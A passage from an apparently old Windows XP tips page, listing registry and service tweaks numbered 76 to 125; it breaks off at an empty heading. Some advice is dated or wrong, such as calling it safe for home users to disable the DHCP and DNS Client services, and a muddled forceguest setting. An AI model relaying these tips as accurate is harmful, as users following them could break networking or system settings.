76. Do you have a problem with your Video ? Always going in VGA MODE ?
This happens to everyone at some point of time or other and is most likely caused by some application or third party utility overwriting your drivers files (or if you do not have had a right video driver to begin with). To verify exactly what gets loaded, follow these steps. Open registry by going to START-RUN and entering regedit. Navigate to HKEY_LOCAL_MACHINE\hardware\DeviceMap\Video . In this value of Device\Video0 points to a registry key that has the location of the video driver that Windows is configured to load. for example: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ videodriver \Device0 . Navigate to this key. Check value of "InstalledDisplayDrivers" . Its value indicates whether driver was loaded or not. If the setting shows another registry location, a third-party driver may be getting loaded. Check out Microsoft Knowledgebase article for more details: http://support.microsoft.com/default.aspx?scid=kb;en-us;Q314854

77. Prevent a Program From Being Displayed in the Most Frequently Used Programs List
This is easy.Open registry by going to START-RUN and entering regedit. Navigate to HKEY_CLASSES_ROOT\Applications\ Program name.exe where Program name.exe is the name of the application that you do not want to be displayed in the Most Frequently Used Programs List. Add an empty string value named NoStartPage. That's it. Reboot your computer.
IMPORTANT DISCLAIMER: Before doing anything with registry, It is very important that you take a backup of registry by exporting it. Remember even a minor mistake in registry could render your system unusable or will cause it to stop or crash. XPTOOLS is not responsible for any such damage that may occur directly or indirectly as a result of your applying these changes. Don't try it if you are not sure. Use at your own risk.

78. Having trouble with MSDOS program ? Tips on troubleshooting.
I read a good article on Troubleshooting MS-DOS-Based Programs in Windows (Q314106) at Microsoft knowledgebase website. One of the first thing to test when you are having problems with MS-DOS-based programs is the Windows Virtual DOS Machine (NTVDM) subsystem. Open START-RUN and enter command.com or cmd.exe. If you don't see a MSDOS windows coming up you of course have a problem. Check the Config.nt and Autoexec.nt files in the SystemRoot%\System32 folder for nonstandard settings.
Use a REM statement to remark out all entries except the following default entries:
Config.nt
---------
dos=high, umb
device=%SystemRoot%\System32\Himem.sys
files=20
Autoexec.nt
-----------
lh %SystemRoot%\System32\Mscdexnt.exe
lh %SystemRoot%\System32\Redir
lh %SystemRoot%\System32\Dosx
lh %SystemRoot%\System32\Nw16 (only if CSNW is installed)
lh %SystemRoot%\System32\Vwipxspx (only if CSNW is installed)

The registry entries that are associated with the NTVDM subsystem are: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
This key stores the environment variables from the Config.sys and Autoexec.bat files for use in Windows.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ VirtualDeviceDrivers
This key stores the device drivers that are used in an NTVDM session. Windows Setup creates these entries when a device driver is installed.
Read the article at Troubleshooting MS-DOS-Based Programs in Windows (Q314106) for complete details as I am simply repeating what's already available in the article.

79. Create your own popup menu in TASK BAR
This is not a registry tweak or anything big at all but may still be helpful to some. Remember what happens when you click on START button. You see a popup window coming up. You can create your own popup window other than START MENU in taskbar. Put down shortcuts to all applications that you want to see in your popup in a folder. Then you right click on taskbar->toolbars->new toolbar-> and select the new folder.

80. Change default directory of Windows Explorer
If you are one of those who are annoyed by Windows Explorer always opening my documents folder by default, here is a solution.In the properties of explorer or explorer shortcut which you access by left click you enter this in the end: /n,/e,c: After this , it look like : %SystemRoot%explorer.exe /n,/e,c: . You can change C: to anything you want !! .

81. How to alter behavior of System Restore Utility
There are three specific keys that control behavior of System Restore Utility. It has many values that can be altered and also have some that should not be altered under any circumstances. Microsoft Article The Registry Keys and Values for the System Restore Utility (Q295659) explains it all in detail this but in brief following three keys are important.
1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Sr
2. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Srservice
3. HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore
Only some sub-keys of third key can be modified without harming your computer. Read the Microsoft Article to know what can not be modified.Following keys can be modified (copied from Microsoft Article):
CompressionBurst
This value, listed in seconds, specifies the idle time compression: The amount of time to compress data after the computer reaches its idle time. A service can compress data for the amount of time that is specified in this value, and then stop. Then, at the next idle time compression, the computer can repeat the process.
DiskPercent
This value relates to the percentage of disk space that System Restore uses for its data store. The default value is 12 percent. The data store size is always calculated as "max(12 percent, DSMax)," regardless of the size of the hard disk. The maximum (max) size is what is specified in DSMax. For hard disk sizes that are less than 4 gigabytes (GB) in size, 12 percent is less than 400 megabytes (MB), so "max(12 percent, DSMax) equals 400 MB." For hard disk sizes that are greater than 4 GB, 12 percent is greater than 400 MB, so "max(12 percent, DSMax) equals 12 percent." This data store size is not a reserved disk space, and the data store size is used only on demand.
DSMax
This value specifies the maximum size for the System Restore data store. The default size of the data store is 400 MB. The data store size is always calculated as "max(12 percent, DSMax)," regardless of the size of the hard disk. The maximum (max) size is what is specified in DSMax. For hard disk sizes that are less than 4 GB, 12 percent is less than 400 MB, so "max(12 percent, DSMax) equals 400 MB." For hard disk sizes that are greater than 4 GB, 12 percent is greater than 400 MB, so "max(12 percent, DSMax) equals 12 percent." This data store size is not a reserved disk space, and the data store size is used only on demand.
DSMin
This value relates to the minimum amount of free disk space that System Restore needs so that it can function during the installation process. Also, this value relates to the minimum amount of free disk space that is needed for System Restore to reactivate and to resume the creation of restore points after System Restore has been disabled because of low disk space.
RestoreStatus
This value specifies if the last restore operation failed (0), succeeded (1), or had been interrupted (2).
RPGlobalInterval
This value specifies, in seconds, the amount of time that System Restore waits before it creates the automatic computer check points for elapsed time. The default value is 24 hours.
RPLifeInterval
This value specifies, in seconds, the restore points Time to Live (TTL). When a restore point reaches this time and it is still on the system, it gets deleted. The default value is (7776000), which will be 90 days.
RPSessionInterval
This value specifies, in seconds, the amount of time that System Restore waits before it creates the automatic computer check points for session time (the amount of time that the computer has been on). The default value is zero (0), which means that this feature is turned off.
ThawInterval
This value specifies, in seconds, the amount of time that System Restore waits before it activates itself from a disabled state (after the conditions for this process to occur have been met). If you start the System Restore user interface, System Restore is activated immediately.

82. Remove unnecessary Scheduled Tasks scan by Internet Explorer and make Internet Explorer Load faster
I read about this tip on internet at INFOWORLD. This tips is about a bug in Windows OS (was originally present in Windows 2000 and I do see it in Windows XP as well) that causes Internet explorer to search for Scheduled Tasks whenever your launch the Internet explorer as a user. Microsoft has it documented in a knowledgebase article. Anyway trick is to open registry and navigating to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Explorer\RemoteComputer\NameSpace and then looking for shared tasks ClassId key {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Simply delete it and get out of registry. No need to reboot. Launch Internet Explorer and see the difference. I noticed significant gains on my computer and I sure bet you will as well.

83. If you have a faster hard disk, keep your pagefile.sys
If you do not already know, pagefile.sys is your swap file. It makes common sense to put it on a hard disk that is fastest. So say if you have upgraded you machine and a newer and faster harddisk, change the pagefile location to that drive. Open registry and navigating to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ MemoryManagement and then looking for Paging files Change its drive location (on mine its says C:\pagefile.sys) to the one that is faster (say D:\pagefile.sys if D: denotes the faster drive).

84. Make Windows XP load frequently used programs in quickly accessible location
Windows XP is smart enough to analyze user behavior and adjust accordingly (somewhat !) Important example is MRU list. Periodically (default is 3 days I think), XP would do some file movements to keep most actively used programs in that part of the disk that are quickly accessible. (Believe me all parts of disk are not the same,some are quicker to access and some are not..its simple law of physics). Anyway if you want to do it at your will, go to START-RUN and enter Rundll32.exe advapi32.dll,ProcessIdleTasks and start the reordering process.

85. Surfing the web ? Find related web sites easily and quickly
Gone are the days when you were forced to have a separate application (like Alexa) to get relevant and related information to a site being viewed. With Internet Explorer 6, you can have this functionality by default. All that you need to do is to follow steps listed below and you have unraveled the secret.
1. Right-click the toolbar at the top of the browser window, and then click Customize.
2. In the Customize Toolbar dialog box, click related under Available toolbar buttons, click Add, and then click Close. Now you would see a new icon appearing on your Internet explorer tool bar. Click on this and you would get all the relevant information on the site being visited.

86. How is the Icon color depth and Size information controlled ?
Icon color and Icon Size information is controlled by following entries in Registry. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics and look for two keys by the following name:
"Shell Icon BPP"
"Shell Icon Size"
Value of "Shell Icon BPP" determines bits per pixel (color depth) and value of "Shell Icon Size" determines icon size in pixels. You can determine number of colors that Icon have by raising 2 to the power of "Shell Icon BPP" value. If value is 16, total number of colors (or color depth) is 2^16 = 65536

87. Enable UDMA/66 mode on IDE Channels
Even if DMA is enabled on IDE channels, by default UDMA/66 mode is disabled. You can improved disc performance by enabling it. Open registry by going to START-RUN and entering REGEDIT and Navigating to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Class\ {4D36E96A-E325-11CE-BFC1-08002BE10318}\0000]. In right pane look for a key by the name "EnableUDMA66". If it is there, set its value to 1 if it is not already set to 1. If not, add a dword entry by the name "EnableUDMA66" and set its value to 1.

88. Save electricity ! Specify the typical role for your computer.
Based on how you use your computer (meaning your computer) you might be wasting a lot of electricity if you leave it on with little or no activity for extended periods of time. Depending upon whether you rarely use the computer or you frequently use the computer or keep it always on, you can do a registry tweak to let the system know the typical role of your computer and help select the best approach to power savings. Navigate to [HKEY_CURRENT_USER\Control Panel\PowerCfg] and look for value of CurrentPowerPolicy. Following defaults are in use:
Enter 0 for Home/Office Desk.
Enter 1 for Portable/Laptop.
Enter 2 for Presentation.
Enter 3 for Always On.
Enter 4 for Minimal Power Management.
Enter 5 for Maximum Battery.

89. Private information about who is logged on your computer at a time.
XP stores certain information about you as and when you are logged on in following places in registry:
Logged on User: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Logon User Name]
Personal: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personnal]
Default Document folder: [HKEY_CURRENT_USER\Volatile Environment\HOMEDRIVE]
.Net email account: [HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service\IdentityName]
Number of Open programs: [HKEY_CURRENT_USER\SessionInformation\ProgramCount]

90. Does your computer forgets to power off after shutdown ?
If this is is the case, try this. It may help. Open registry by going to START-RUN and entering REGEDIT and Navigating to [HKEY_CURRENT_USER\Control Panel\Desktop] and look for value of PowerOffActive key. If it is set to 0, set it to 1 . This may not work in all cases (specially if your hardware does not support APMS protocol) but is worth a try in other cases.

91. Have you been asked to insert Window XP CD whenever you install a new software ?
If this is is the case, you may want to automate the process a bit. Assuming you have enough disk space (meaning at least 600 MB extra), you can copy all that you have in your Win XP CD's \i386\ directory to your harddisk and change its pointer in registry. Assume you copy everything that you have in \i386 directory to say C:\i386 where C: is your hard disk, you can automate this process and avoid being asked for inserting CD by changing following entry in registry. Open registry and navigate to [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion and look for the key called SourcePath. Change this key's value to your hard disk path. Thats all.

92. Optimize your XP Pro system by tweaking service manager ? Remove unnecessary services !
This is important. You don't know how many services are started by your service manager everytime you boot your system. There is a very strong likelihood that some of these services are never of any use to you and as such you never directly or indirectly use them. If so, why delay the boot time and also degrade the system performance for no reason ! Stop this services from starting automatically. Here is How-to ! Open service manager by going to START-RUN and entering services.msc. Now in the right pane, you would see a list of services some of them would be started and others don't. Also they could be set to any of three status of start mode. "Manual", "automatic" and "disabled". If you double Click on any of these you would see detailed info on each of these. You have an option of starting or stopping the services running on your computer. If you are typical desktop user like most of us, it might be safe to disable and stop following services. But still do understand it before you do it. Also some of those listed below may not be available for you as well.
1. Portable Media Serial Number
2. DHCP Client
3. Distributed Link Tracking Client (Most likely you're not connected to a Windows 2000 domain )
4. DNS Client ( Again you're not connecting to a specific DNS server on your local network most of times)
5. FTP Publishing Service ( If you don't want your system to act as an FTP server. I don't !)
6. IIS Admin Service ( You computer may not be a WWW server and as such no need for this service )
7. IPSEC Policy Agent ( disable it if you're not connected to a Windows 2000 domain )
8. Messenger ( same reason...you may not be connected to a Windows 2000 domain )
9. Remote Registry Service (Typically you don't remotely access the Registry of other systems )
10. RIP Service (If you are a typical home user, you don't need your system to act as a router)
11. Run As Service ( This can also go since most likely you don't use any applications that run as an alias )
12. World Wide Web Publishing Service ( If you are a not into web publishing business,You don't need this as well)

93. Improve speed of of file search in WINDOWS XP PRO operating system.
If you have not already noticed, you soon will. Default search for a file in Windows Explorer takes a long time to complete. Yes thats correct. I had to wait for some time before I could do that when I was creating the screen print of *.msc search on my computer (see the article on gpedit.msc in list of tools link). Anyway bottom line is default search would be slow in XP, In fact slower than even a Window 98 PC. But there is a reason for it and couple of ways to tweak it. First the reason: One of the reasons XP's default file search takes so long is it not only looks for file names in your directories, it processes compressed (.zip and .cab) files, looking for your filename inside of these zipped files! There are few ways to improve your search.
Disable ZIP and CAB search:
This tip was brought to my attention by James Heinrich.

To disable Compressed Folders for zip files:
regsvr32 /u zipfldr.dll
For CAB files:
regsvr32 /u cabview.dll
All of a sudden it goes so much faster, and no need for indexing service,
or weird searching limitations.
Can always be re-enabled afterwards with the same command, minus the/u
Set index service on:
You can further improve the search bye turning the index service on ! Well it does not end here. You not only have to turn the index service on but also has to follow many do's and don'ts. Here are some of them.
1: Never search by putting criteria in the "All or part of the file name" box.
2. Enter your criteria in the "A word or phrase in the file" as described below - no matter what you want to achieve !
TO SEARCH FOR A FILE BY NAME:
Your search criteria must begin with:
@filename
or
#filename
followed by all or part of the filename you are looking for and you must put it in the "A word or phrase in the file: input area Wildcards * and/or ? are allowed:
TO SEARCH FOR A FILE BASED UPON A WORD OR PHRASE IN THE FILE:
Your search criteria must start with an exclamation mark
!yourcriteria
The exclamation mark forces use of the index. If the exclamation mark isn't used, Search Companion will begin a slow file-by-file physical search.

There is an interesting article devoted to search. Please visit http://www.xpsearch.info/xps1.htm and read all about it. It even has section on search tips.

94. Troubled by IE crashing unexpectedly for no reason? Launch it in its own process.
If you have seen it happening, you must hate it. You are working on something important (may be filling an application form, filing a tax return, view sensitive data what not or may be just reading an interesting site ) and out of no where an error is reported in iexplorer.exe and all instances of Internet explorer closes out. Isn't this painful ? Well sure it is , but what can you do (???) Well you can do some thing. Thats not the perfect solution but may be a good workaround till we achieve perfection. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] and add a new string by the name "BrowseNewProcess" and set its value to "yes". That all. Doing this would open your Internet Explorer Browser in a separate process area of its own, and this would not shut down just because there was a problem with another instance of Internet Explorer. Hey this takes more memory but for those who can afford it offers a solution.

95. Don't want Num Lock to be switched on at boot time ? Shut it off.
This tip is not a performance tip but may be liked by those who like customization. If you are one of those who do not want NUMLOCK to be on at boot time, here is the trick. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_USERS\.DEFAULT\Control Panel\Keyboard] and look for a string key by the name "InitialKeyboardIndicators". If its not there , create it else change its value to
0 to set NUMLOCK off or 2 to set NUMLOCK on.

IMPORTANT DISCLAIMER: Before doing anything with registry, It is very important that you take a backup of registry by exporting it. Remember even a minor mistake in registry could render your system unusable or will cause it to stop or crash. XPTools is not responsible for any such damage that may occur directly or indirectly as a result of your applying these changes. Don't try it if you are not sure. Use at your own risk

96. Modify color selection of default theme.
Again this tip is not a performance tip but may be liked by those who like customization. Also it may be useful more once Microsoft provides more themes. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".
Right Click on it and select modify its value from "NormalColor" to "Metallic"
Click Ok, and exit regedit and restart your computer.

This tip does not do much on my computer but those who have Microsoft XP Plus Installed might see a difference. Please provide me your feedback on this tip.

97. Are you a high end gamer ! Accelerate your mouse.
I am not a serious gamer but there was a time when I was playing a chilly eating game at Guiness book of records. Even with my best efforts I was not able to eat more than 72 chillies where as record was for that of 90 in a minute. I was wondering how could that happen ? Same goes with 1 minute short chess games on line. I think an accelerating mouse and pointing device was what I was missing (apart from the gamer skills !) Well if you want to accelerate your mouse , here a tip I found on Internet There is a logic order in the 64-bit hexadecimal values in the registry trick I am suggesting to you folks. When trying different values, you should come up with a diagram which displays a curve, this is the unwanted acceleration. Adjusting the values that the curve becomes a straight line resolves the mouse-acceleration. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Control Panel\Mouse] and set value of "SmoothMouseXCurve" and
"SmoothMouseYCurve" as follows:
"SmoothMouseXCurve"=hex:00,00,00,00,00,00,00,00,00,a0,00,00,00,00,00,00,00,
40,01,00,00,00,00,00,00,80,02,00,00,00,00,00,00,00,05,00,00,00,00,00

"SmoothMouseYCurve"=hex:00,00,00,00,00,00,00,00,66,a6,02,00,00,00,00,00,cd,4c, 05,00,00,00,00,00,a0,99,0a,00,00,00,00,00,38,33,15,00,00,00,00,00
Drop me a mail if you find it helpful as I myself have not tested it effectiveness.

98. Increasing number of connections per http server
Folks, HTTP Protocol limits number of maximum connections to a HTTP server to 2. Following table explains restrictions placed by various HTTP PROTOCOLS. This is the as per the RFC specifications.
1. HTTP 1.0 conforming server 4 simultaneous connections
2. HTTP 1.1 conforming server 2 simputaneous connections
Limitation caused by this is visible whenever your applications make calls like HttpSendRequest and InternetOpenURL which take longer to complete as they wait for previous connections to be freed up before their requests are sent. You can configure WinInet to exceed this limit by creating and setting the registry entries. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] and look for values of "MaxConnectionsPerServer" and "MaxConnectionsPer1_0Server ". If you don't see then add two key by the names "MaxConnectionsPerServer" and "MaxConnectionsPer1_0Server " respectively. Default values are as
MaxConnectionsPerServer = 2
MaxConnectionsPer1_0Server = 4

Changes its value to a number you want. I read about this at http://support.microsoft.com/default.aspx?scid=kb;EN-US;q183110

CAUTIONARY NOTE: By changing these settings you are causing WinInet to break the HTTP protocol specification for your application and any other WinInet applications running on your machine, including Internet Explorer. You should only do this if absolutely necessary and then you should avoid doing standard Web browsing while these settings are in effect

99. Load Outlook Express faster. Stop Outlook express logo screen from poping up
Not a big deal but would help you get there faster. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Identities\{** Identity ID **}\Software\Microsoft\Outlook Express\5.0] where Identity Id is your computer specific value (on my computer Identity Id is {9144D186-C4E5-462F-A269-E9F293F14A1D}) and look for value of "NoSplash ". If this is the first time, you may not see this key and if so add the DWORD key by the name "NoSplash ". Now sets its value to 1

100. Run your Windows Desktop in its own process environment
This may take a little more memory but would make your Desktop more stable. So this is more of a security tip. Security from other applications running on your desktop. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] and look for value of "DesktopProcess". If this is the first time, you may not see this key and if so add the DWORD key by the name "DesktopProcess". Now sets its value to 1
101. Run Windows Explorer in its own process. Avoid Total Explorer Crash
This will further secure your windows explorer from crash though not a great idea if short on memory. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] . In this look for value of "SeparateProcess". If available set its value to 1 and if not (which could be the case ) then add a DWORD key by the name "SeparateProcess" and set its value to 1.

If you would rather prefer not to change registry settings , you can get similar results by following steps mentioned below
Click on "Start" Menu
Clcik "My Computer"
Click on "Tools" Menu
Click "Folder Options"
Check "Lauch folder windows in separate process"
Stability would be more because each Folder window will start in separate process and will not cause system to halt in case one or more of such processes stop responding. Although it is supposed to provide better stability but may be at the cost of performance.

102. Secure your computer: Enable Advanced File System Security Options
This will further secure your windows explorer and not really a performance tweak. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] . In this look for value of "forceguest". If available, its default value would be 1. Set its value to 1. This would enables Windows XP logic for advanced permissions.

103. Define a logical value for System Cache
Depending upon how you intend to use your computer (like a workstation or server ), it may make sense to set the system cache. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] . In this look for value of "LargeSystemCache". If available, do one of the following:
If intention is to use the computer like a workstation, set its value to 0.
If intention is to use the computer like a server, set its value to 1.

104. Control parsing of autoexec.bat
In Window 3.1 autoexec.bat was one of the few choices of executing any app at boot time. But its importance has gradually thinned. It is still supported but you can pretty much do without it for most part. If you do not need to parse the autoexec.bat (there may not be anything in it anyway !), you can tell Windows XP to do that. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] . In this look for value of "ParseAutoexec". If available, do one of the following:
If you want to disable parsing of autoexec.bat, set its value to 0.
If you want to enable parsing of autoexec.bat, set its value to 1.

105. Disable default capability of Windows XP to open the compressed/zipped folder
I am comfortable with the default capability that Windows XP provides to unzip the zipped/compressed files/folders. But if you are used to winzip/pkzip or any other third vendor software, it may make sense to avoid confusion by disabling default unzipper code in windows. To do this go to START-RUN and entering "regsvr32 /u zipfldr.dll" (without quotes). To enable it go to START-RUN and entering "regsvr32 zipfldr.dll" (without quotes).

106. Automatically kill non-responding application at shutdown
Remember this ! It happens to all of us invariably sometime or the other no matter what you do. Don't you hate waiting for those extra seconds and then simply responding yes to the windows query. Well you have a remedy. You can tell Windows XP to automatically close all non responding windows. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_USERS\.DEFAULT\Control Panel\Desktopn] . In this look for value of "AutoEndTasks". If available, do one of the following:
If you want to enable automatic killing of non responding tasks, set its value to 1. to disable it set it back to 0.

107. Improve Shutdown. Lets not save your active session's settings on exit
If you Don't care which windows app was located where when you are shutting down the system, this tip may in fact help improve the shutdown time a bit (a bit not too much)..Simply inform windows not to save the settings at exit time. To do this , open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] . In this look for value of "NoSaveSettings". If available, do one of the following:
If you want to enable no save on exit, set its value to 1 else to save on exit. set it back to 0.

108. Disable use of Win key
I am not sure why you would ever want to do this except probably if you do not have a windows enabled keyboard but here is the tip anyway (tip for the sack of tip !!!!). To disable use of Win key, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout] . In this look for value of "Scancode Map". Its binary data so be extra careful:
Set its value to "00 00 00 00 00 00 00 00 03 00 00 00 00 00 5B E0 00 00 5C E0 00 00 00 00" to disable the win key.

109. AutoReboot whenever Windows XP experiences BSOD (Blue Screen of Death!)
Since Windows XP is touted as most reliable Windows XP ever, you do not need this trick!. Well I am somewhat kidding. There is nothing in this world that is foolproof. I have faced this twice so far. To make windows reboot instead of producing the cryptic dump, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl] . In this look for value of "AutoReboot". Setting its value to 1 will activate Autoreboot. By default this is the value on my system but just in case if you have a 0,set it to 1.

110. Laptop/portable computer users ! Undock without logon
I read about this over the Internet. This would allow you to undock without logging on to Window XP.To do this, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] . In this look for value of "UndockWithoutLogon". Setting its value to 1 to enable it or 0 to disable it.

111. Selectively clean the history of START-RUN list
If you have not cleaned the RUN entries for a while or you choose not to, you would have a list of them.If you want to selectively delete the entries do this.Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU] . In this look for various entries on right pane. You can choose what you want to delete and simply delete it. Or you can clear all command lines as well.

112. Customize task bar grouping
This is a customizing tip. If you want to change the default number of grouping in task bar do this.Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] . In this look for value of "TaskbarGroupSize". You can set it to any value you want. Default is 3.

113. Activate Automatic Boot Disk Optimization
To activate automatic boot disk optimization, do this.Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction] . In this look for value of "Enable". You can set its value to "Y" to enable it.

114. Restrict certain users from running an application
You can selectively restrict access to few apps and file names. To do this, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer] and a sub-key by the name "DisallowRun". Within this key, add many string keys you like each mapped to an application or file that you want to be restricted.

115. Do not let Regedit remember last changed key
You'll need to be in the admin account, or yours must have admin privileges.

In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit] and look for the value LastKey. Double-click it and clear the string. Then right-click the Regedit key (in the left-hand pane) and select Permissions. Set Permissions to Deny for any/all users/group. IMPORTANT DISCLAIMER: Before doing anything with registry, It is very important that you take a backup of registry by exporting it. Remember even a minor mistake in registry could render your system unusable or will cause it to stop or crash. XPTOOLS is not responsible for any such damage that may occur directly or indirectly as a result of your applying these changes. Don't try it if you are not sure. Use at your own risk

116. How to use program aliases ?
You can use program aliases to run actual program. Well there are ways to hide actual program name. Not sure what's the good use for this tip but here it is anyway

In regedit, navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths]. To create a new alias, create a sub-key, and call it the name of the alias you wish to create. Then modify the Default value of the sub-key to equal the fully qualified path and filename of the application you want to be launched.

117. How to disable MSN Messenger from loading up whenever you start Outlook Express.
I thought I had this covered in one of my tips. Actually, I told you indirectly about how to uninstall MSN messenger and also how to stop from loading it at boot time. But recently I saw few mails/posts where people want to keep the MSN messenger , but do not want it to run whenever Outlook Express is executed.
For these folks here are a couple of solution. There is a Microsoft knowledgebase article on this as well. Visit How to Prevent Windows Messenger from Running on a Windows XP-Based Computer (Q302089) and learn more.
In regedit, navigate to [HKEY_LOCAL_MACHINE\Software\Policies\Microsoft]. Create a new key by the name "Messenger" and then within that another key by the name "Client". This is equivalent to creating and navigation to [HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Messenger\Client]. Within this create a DWORD key by the name "PreventRun" and set its value to 1. Quit registry and even though not a must, its a good idea to reboot.
One more way of doing the same without sacrificing run time is to go to C:\Program Files and rename Messenger directory to something else e.g. MessengerOff. This works as well.

118. Change alignment of Start Menu panel.
This is a customizing tip. If you have noticed, START MENU PANEL has all the entries aligned to left. Well that's not a cause of concern but may be you are one of those who want it to be the other way, say you want it to align to right. This can be done by a quick registry tweak. In regedit, navigate to [HKEY_CURRENT_USER\Control Panel\Desktop] and look for key "MenuDropAlignment". Set its value to 1 to align the menu entry to right or if you did not like the idea of entries aligned to right, set it back to 0 for align back to left which is the Default XP behavior.

119. Customize windows explorer's Default search
This is a customizing tip. If you want to customize your windows explorer search here are some tips. In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] and look for following keys
"CaseSensitive"
"IncludeSubFolders"
"SearchHidden"
"SearchSlowFiles"
"SearchSystemDirs"
Key names are self revealing. If you want a CaseSensitive search set its value to 1 else 0. This is the technique, if you prefer to enable any of the above feature, set its value to 1 else set it back to 0.

IMPORTANT DISCLAIMER: Before doing anything with registry, It is very important that you take a backup of registry by exporting it. Remember even a minor mistake in registry could render your system unusable or will cause it to stop or crash. XPTOOLS is not responsible for any such damage that may occur directly or indirectly as a result of your applying these changes. Don't try it if you are not sure. Use at your own risk

120. Get back to old days, see the file attributes in Windows Explorer
I have noticed that in Windows Explorer, when you click on the detailed mode, you do not see the file attributes any more. This used to be there in previous versions of Windows (Well in office, I still use Windows 95 and Windows Explorer out there shows the file attributes). If you want to enable this setting, do this:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Explorer\Advanced] and look for key "ShowAttribCol". You may not find it there if this is your first time. In this case, create a new DWORD key "ShowAttribCol" and set its value to 1 to enable it.

121. Stop a user from changing Start Menu
This can be considered a security tip. If you want to restrict modifications to Start menu, do the following:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] and look for key "NoChangeStartMenu". Set its value to 1 to enable it to stop users from changing the Start Menu.

122. Control Scrolling or Cascading behavior of Start Menu
If there are more items in Start-Program menu than can be shown in a single screen, then windows has to do either scrolling or cascading effect to display rest of the items. You can tell Windows what to do by doing this:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] and look for key "StartMenuScrollPrograms". You may not find it there if this is your first time. In this case, create a new STRING key "StartMenuScrollPrograms" and set its value to "YES" to enable scrolling or "NO" for the cascading effect.

123. How to enable/disable thumbnail cache
For performance reason, Windows explorer stores thumbnail of pictures in a cache. This is good but there is a problem. Some time caching mechanism would show incorrect pictures just because update process is not instantaneous. If you want to have thumbnail pictures refreshed every time (mind you, this would be an additional load on your CPU resources), do this:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] and look for key "DisableThumbnailCache". You may not find it there if this is your first time. In this case, create a new DWORD key "DisableThumbnailCache" and set its value to 1 to disable caching mechanism.

124. Disable Default CD Burning capability
If you have a good CD burning software, you may want to disable the CD burning capability. There are couple of ways to, do this:
REGISTRY METHOD:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] and look for key "NoCDBurning". You may not find it there if this is your first time. In this case, create a new DWORD key "NoCDBurning" and set its value to disable it.
ALTERNATE METHOD:
Go to your windows explorer and locate the drive that corresponds to CD-RW drive. Right click on it and select properties. Within Properties window, go to Recording tab and you would see and option called "Enable CD Recording on this drive". If it is checked , deselect it.

125. Securing your WINDOWS XP computer
